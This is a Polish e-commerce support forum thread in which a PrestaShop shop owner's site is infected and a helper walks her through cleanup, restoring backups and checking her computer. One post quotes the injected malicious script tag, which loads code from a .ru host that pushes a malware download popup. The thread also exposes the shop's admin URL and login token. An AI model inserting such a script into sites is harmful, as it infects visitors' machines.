Nie mogę się zalogowac do sklepu

[xenaxx]

Witam, 

nie mogę się zalogować do sklepu. Wchodząc na swoją stronę wyskakuje mi okno którego nie rozumiem. Napisałam do firmy która mi udostępnia domenę ale oni twierdzą, że u nich wszystko działa.Proszę o pomoc bo nie mogę się dostać do Back Office, nie wiem co się stało.  

 

Proszę o pomoc.

Pozdrawiam

[vekia]

witam

problem zaczął się pojawiać "od tak" (sklep działał ok i nagle zaczęło się to pojawiać) czy jest od samego początku ?

[xenaxx]

Problem pojawił mi się od tak. Włączyłam stronę logowania i wyskoczyło to okienko.

[vekia]

czy problem dotyczy wszystkich przeglądarek czy tylko tej z której aktualnie korzystasz?

zdaję sobie sprawę, że nie sposób to ocenić, ale możesz spróbować zalogować się na innej przeglądarce?

 

jest możliwość uzyskania linka ?

[xenaxx]

Sprawdziłam zalogowałam się na przeglądarce Mozilla oraz IE działa włączanie strony BO  

http://brandsvestis.pl/cnnzib5dtlbzi20k/index.php?controller=AdminLogin&token=7ad49f7f5934c0d6922b743515d2c25a

[xenaxx]

Nadal nie wiem jak i co mam zrobic aby się zalogować na do BO w przeglądarce google?

[vekia]

niestety ale wygląda na to, że masz zawirusowaną stronę

 

to nie powinno się pojawiać, a pojawia się bo jakiś skrypt został doklejony do kodu strony.

[xenaxx]

Co mam zrobić? jaki program jest dobry do usunięcia tego wirusa?

[vekia]

najlepszym rozwiązaniem będzie jak hosting by sprawdził stronę jakimś antywirusem na serwerze,

jeżeli nie - pozostaje usunięcie tych plików / skryptów manualnie z szablonu sklepu.

 

jeszcze dodam, tak na wszelki wypadek, że ten wirus jakoś musiał się tam dostać.

najczęsciej dostaje się on za pośrednictwem komputera osoby która łączy się z FTP. więc warto to zweryfikować aby uniknać dodatkowych problemów w przyszłości.

[xenaxx]

No tak ale jak mam zweryfikować to aby uniknąć problemów w przyszłości tj. ja jestem osoba która najczęściej łączy się z hostingiem. Mam na próbę od 26 dni moduł do integracji sklepu z Allegro.Moduł jest ze strony https://addonspresta.com, ale nic się do tej pory nie działo złego. Wrzucam na hosting zdjęcia które pojawiają się w szablonie na stronie Allegro. 

Proszę o podpowiedź jak usunąć w razie czego plików/skryptów manualnie ze sklepu?

[xenaxx]

Witam, 

tak mi odpowiedzieli ze strony hostingowej:Uprzejmie informuję, że nasz antywirus nie odnalazł zainfekowanych plików na Pani usłudze hostingowej.

[vekia]

to zapytaj ich czym jest kod:

<script type="text/javascript" src="http://sloggun.ru/vzF8R7GX.php?id=16022917"></script>

bo to jest ewidentnie efekt jakiegoś malware.

 

ten skrupt dokleja kod js do Twojej storny który powoduje wyświetlanie popupa który wstawiłem kilka postów wyżej.

klikając download ściąga się wirus blokowany przez antywirusa.

 

to co trzeba zrobić, to usunąć ten kod z treści strony

[xenaxx]

Dziękuję za pomoc. Napisałam do nich czekam na odpowiedź.

[xenaxx]

Sprawdziłam na Mozilla jeszcze raz, na pewno coś jest nie tak bo jak kliknęłam na Zobacz sklep, to się strona nie wyświetla się poprawnie.

http://brandsvestis.pl/

A na stronie BO wyświetla się informacja tego typu:

 

Następujący(e) moduł(y) nie został(y) załadowane:

1. blockmyaccountfooter (bład składni w /modules/blockmyaccountfooter/blockmyaccountfooter.php)
2. blockmyaccountfooter (brakująca klasa w /modules/blockmyaccountfooter/blockmyaccountfooter.php)

[xenaxx]

Odpisali

Włosy mi się na głowie stanęły.

Witam serdecznie,

Uprzejmie informuję, że złośliwy kod dopisany jest do plików:

classes/order/index.php
classes/shop/index.php
classes/stock/index.php
classes/controller/index.php
classes/index.php
classes/webservice/index.php
classes/range/index.php
classes/pdf/index.php
classes/tax/index.php
classes/db/index.php
classes/exception/index.php
classes/module/index.php
classes/helper/index.php
cnnzib5dtlbzi20k/backups/index.php
cnnzib5dtlbzi20k/ajaxfilemanager/index.php
cnnzib5dtlbzi20k/ajaxfilemanager/ajax_login.php
cnnzib5dtlbzi20k/index.php
cnnzib5dtlbzi20k/export/index.php
cnnzib5dtlbzi20k/login.php
cnnzib5dtlbzi20k/tabs/index.php
cnnzib5dtlbzi20k/autoupgrade/index.php
cnnzib5dtlbzi20k/themes/index.php
cnnzib5dtlbzi20k/import/index.php
config/index.php
config/xml/index.php
controllers/front/index.php
controllers/index.php
controllers/admin/index.php
css/index.php
download/index.php
footer.php
header.php
index.php
js/admin_order.js
js/helpAccess.js
js/jquery/jquery-1.7.2.min.js
js/jquery/jquery-ui.will.be.removed.in.1.6.js
js/jquery/jquery.tinyscrollbar.min.js
js/jquery/index.php
js/jquery/jquery.mCustomScrollbar.js
js/jquery/jquery.mCustomScrollbar.concat.min.js
js/admin-categories-tree.js
js/form.js
js/checkLangPack.js
js/admin-dnd.js
js/login.js
js/notifications.js
js/sendMailTest.js
js/adminImport.js
js/tools.js
js/pluginDetect.js
js/gg-translate.js
js/attributesBack.js
js/index.php
js/hookLiveEdit.js
js/toggle.js
js/admin-translations.js
js/date.js
js/ajax.js
js/admin-scene-cropping.js
js/toolbar.js
js/admin.js
js/retro-compat.js.php
js/fileuploader.js
js/price.js
js/productTabsManager.js
js/cropper/cropper.js
js/cropper/builder.js
js/cropper/scriptaculous.js
js/cropper/index.php
js/cropper/loader.js
js/cropper/prototype.js
js/cropper/dragdrop.js
js/admin-products.js
js/tinymce.inc.js
jScrollPane-master/script/mwheelIntent.js
jScrollPane-master/script/jquery.jscrollpane.min.js
jScrollPane-master/script/jquery.mousewheel.js
jScrollPane-master/script/jquery.jscrollpane.js
jScrollPane-master/script/demo.js
localization/index.php
mails/en/index.php
mails/index.php
modules/cashondelivery/index.php
modules/themeinstallator/index.php
modules/themeinstallator/themeinstallator.js
modules/themeinstallator/script.js
modules/blockadvertising/index.php
modules/blocktopmenu/index.php
modules/statsregistrations/index.php
modules/homeslider/index.php
modules/customcontent/index.php
modules/statsstock/index.php
modules/feeder/index.php
modules/blockwishlist/index.php
modules/followup/index.php
modules/statsforecast/index.php
modules/statscatalog/index.php
modules/blocksocial/index.php
modules/blockcurrencies/index.php
modules/eceelotorderapi/index.php
modules/watermark/index.php
modules/graphxmlswfcharts/index.php
modules/statssales/index.php
modules/pscleaner/index.php
modules/blocksharefb/index.php
modules/statsbestproducts/index.php
modules/trackingfront/index.php
modules/blockreinsurance/index.php
modules/productscategory/index.php
modules/productscategory/productscategory.js
modules/statsvisits/index.php
modules/blocktags/index.php
modules/statsbestcustomers/index.php
modules/blockcontactinfos/index.php
modules/crossselling/index.php
modules/gridhtml/index.php
modules/homenewproducts/index.php
modules/carriercompare/index.php
modules/carriercompare/carriercompare.js
modules/blockrss/index.php
modules/cheque/index.php
modules/productcomments/index.php
modules/blockspecials/index.php
modules/statscheckup/index.php
modules/blockstore/index.php
modules/homefeatured/index.php
modules/shopgate/index.php
modules/blockcategories/ddsmoothmenu.js
modules/blockcategories/index.php
modules/paypal/index.php
modules/blocklayered/index.php
modules/blocklayered/blocklayered.js
modules/blocklayered/blocklayered-footer.js
modules/jirafe/index.php
modules/browsi/index.php
modules/blockpermanentlinks/index.php
modules/statsnewsletter/index.php
modules/favoriteproducts/favoriteproducts.js
modules/favoriteproducts/index.php
modules/bankwire/index.php
modules/pd_blockadvertising1/index.php
modules/mailalerts/index.php
modules/vatnumber/index.php
modules/blockmanufacturer/index.php
modules/authorizeaim/index.php
modules/htmlbox/script.js
modules/importerosc/index.php
modules/index.php
modules/blockmyaccount/index.php
modules/blockcontact/index.php
modules/gsitemap/index.php
modules/ebay/index.php
modules/statspersonalinfos/index.php
modules/cmshomepage/cmshomepage.php
modules/blockmenulavalamp/index.php
modules/statsbestmanufacturers/index.php
modules/shopimporter/index.php
modules/shopimporter/shopimporter.js
modules/statsequipment/index.php
modules/graphartichow/index.php
modules/giveit/index.php
modules/orderdelete/index.php
modules/blocklanguages/index.php
modules/graphvisifire/index.php
modules/sendtoafriend/index.php
modules/trustedshops/index.php
modules/blockadvertmulti/index.php
modules/gamification/index.php
modules/sekeywords/index.php
modules/statscarrier/index.php
modules/textmaster/index.php
modules/yotpo/headerScript.js
modules/siteverification/index.php
modules/statsgeolocation/index.php
modules/statsgeolocation/statsgeolocation.js
modules/pagesnotfound/index.php
modules/blockviewed/index.php
modules/blocksupplier/index.php
modules/pd_blockadvertising2/index.php
modules/blocknewproducts/index.php
modules/loyalty/index.php
modules/blocksearch/index.php
modules/blockpaymentlogo/index.php
modules/statssearch/index.php
modules/blocknewsletter/index.php
modules/blockbestsellers/index.php
modules/blockcms/index.php
modules/blockuserinfo/index.php
modules/statsbestcategories/index.php
modules/referralprogram/index.php
modules/dateofdelivery/index.php
modules/blockcategoriesmdi/ddlevelsmenu.js
modules/likeboxfree/script.js
modules/easyscroll/index.php
modules/statsorigin/index.php
modules/prestafraud/index.php
modules/cloudcache/index.php
modules/cloudcache/script.js
modules/statsproduct/index.php
modules/blockcustomerprivacy/index.php
modules/blocklink/index.php
modules/statsbestvouchers/index.php
modules/graphgooglechart/index.php
modules/editorial/index.php
modules/blockcart/ajax-cart.js
modules/blockcart/index.php
modules/payu/index.php
modules/hipay/index.php
modules/statsdata/index.php
modules/blockmyaccountfooter/blockmyaccountfooter.php
modules/statsbestsuppliers/index.php
modules/producttooltip/index.php
modules/pd_blockadvertising3/index.php
modules/newsletter/index.php
modules/statslive/index.php
myadmin/index.php
myadmin/templates/login.php
myadmin/scripts/03-jquery-ui-timepicker-addon.js
myadmin/scripts/04-jquery.base64.js
myadmin/scripts/jquery.cleditor.min.js
myadmin/scripts/myadmin.js
myadmin/scripts/myProfileConfig.js
myadmin/scripts/jquery.tablesorter.min.js
myadmin/scripts/02-jquery.ui.datepicker-pl.js
myadmin/scripts/jquery.cookie.js
myadmin/scripts/00-jquery-1.8.3.min.js
myadmin/scripts/jmenu.js
myadmin/scripts/01_jquery-ui-1.10.3.custom.min.js
myadmin/scripts/myLoadList.js
override/controllers/index.php
override/index.php
override/classes/index.php
pdf/index.php
themes/default/index.php
themes/index.php
tools/js_minify/index.php
tools/pclzip/index.php
tools/taasc/index.php
tools/parser_sql/index.php
tools/mobile_Detect/index.php
tools/fpdf/index.php
tools/swift/index.php
tools/profiling/index.php
tools/geoip/index.php
tools/smarty/index.php
tools/index.php
tools/pear_xml_parser/index.php
tools/tar/index.php
tools/tcpdf/index.php
tools/json/index.php
tools/payu/index.php
tools/minify_html/index.php
tools/pear/index.php
translations/index.php
translations/export/index.php
upload/index.php
webservice/index.php

I co ja mam z tym zrobic .Proszę o pomoc. Sklep mi nie działa.

[vekia]

nie pozostaje nic innego jak:

1) usunięcie wspomnianego kodu ze wskazanych plików

2) jeżeli jest jakiś backup plików - przywrócenie plków z backupu (w przeciwieństwie do metody 1 oszczędzi mnóstwo czasu)

3) załadowanie "czystych" plików, tj. zastąpienie wszystkich plików z listy oryginalnymi

[xenaxx]

Mam rozumiec, że wystarczy z poziomu hostingu załadować kopię zapasową?

[xenaxx]

Witam, zrobiłam przywracanie kopii zapasowej niestety nic to nie pomogło( zrobiłam to dwa razy).W związku z tym, że jestem załamana proszę o szczegółowe pokierowanie mnie jak ja mam zrobić aby sklep działał.

1) usunięcie wspomnianego kodu ze wskazanych plików

- gdzie mam to zrobić? i jak?

3) załadowanie "czystych" plików, tj. zastąpienie wszystkich plików z listy oryginalnymi

-skąd mam wziąć oryginalne pliki (w tamtym roku ktoś mi zainstalował Prestashop ale bezpośrednio na serwerze). W jaki sposób mam je załadować?

Proszę o pomoc.

[vekia]

 

 

Witam, zrobiłam przywracanie kopii zapasowej niestety nic to nie pomogło( zrobiłam to dwa razy).W związku z tym, że jestem załamana proszę o szczegółowe pokierowanie mnie jak ja mam zrobić aby sklep działał.

jeżeli np. kopia zapasowa jest z wczoraj, jest prawdopodobnieństwo, że ten kod już tam jest. stąd jak jest taka możliwość - należy spróbować ze wcześniejszymi backupami.

 

 

Tak na marginesie, Twój sklep już działa normalnie i można się logować do back office.

jak nie widzisz zmian, wyczyść cache przeglądarki.

[xenaxx]

Witam ponownie, odinstalowałam chrome i zainstalowałam drugi raz.Wyczyściłam cache przeglądarki. Sklep działa z przywróconą kopią z marca. Starsza kopia była ok, tak mnie coś podkusiło, aby mieć dwie kopie.

Serdecznie dziękuję, jak zwykle pomoc nie zawodzi w Twoim przypadku.

Dziękuję.

[xenaxx]

Niestety znowu mam problem,Do BO dostaje się bez problemu ale jak w sklepie:http://brandsvestis.pl/

Kliknę np w zdjęcie obojętnie jakiego artykułu wyświetla się dziwna strona 

http://brandsvestis.pl/calvin-klein-jeans/23678-okulary-przeciwsl-oneczne-calvin-klein-jeans-mezczyl-ni-ckj403s202warmtortoise.html

http://brandsvestis.pl/buty/23599-balerinki-butterfly-twists-mezczyl-ni-bt1003005katefuschiasilver.html

Zrobiłam raportowanie błędów i wyświetliła się taka informacja:

Fatal error: Call to undefined method ProductController::getProduct() in /home/xenaxx/domains/brandsvestis.pl/public_html/modules/productcomments/productcomments.php on line 810

 

Już mi ręce opadają z bezsilności

[vekia]

w tym przypadku problem jest z modułem komentarzy produktów.

czy korzystano z tego modułu wcześniej?

[vekia]

sklep jest znów zarażony, i być może dlatego wywaliło ten moduł. odwiedzając front office kolejny raz wyśietlił mi się ten banner

gdzieś ewidentnie coś "przepuszcza" ten malware.

 

komputer przeskanowany?

[xenaxx]

Korzystam z modułu Yotpo do wystawiania komentarzy.

Zalogowałam sie do sklepu czyli BO bez problemu tylko, że w samym sklepie nadal jak klikne na zdjecie to pojawia się dziwne okienko. Komputer skanowany przez program YAC , może on nie wyłapuje wszystkiego. Co mam zrobic w tej sytuacji?

[vekia]

przeglądam teraz stronę i jak narazie nie widzę już tego popupa z bannerem z malware.

[xenaxx]

Witam, ślęczałam cały dzień, żeby usunąc wszystkie wirusy( w systemie awaryjnym).Udało się odpaliłam sklep, zdjęcia się wyświetlały ale do pewnego momentu.Włączyłam raportowanie błędów , wyświetliło, że trzeba usunąc moduł Opinie klientów, odinstalowałam go i działało przez pare sekund bo teraz nie mogę się w ogóle zalogować do BO.http://brandsvestis.pl/cnnzib5dtlbzi20k/

Pusta biała plansza, sklep tez się nie wyświetla. Miałam zainstalowany moduł do integracji Allegro jak jego chcialam odinstalowac to zniknęło wszystko. Jestem załamana, proszę o pomoc.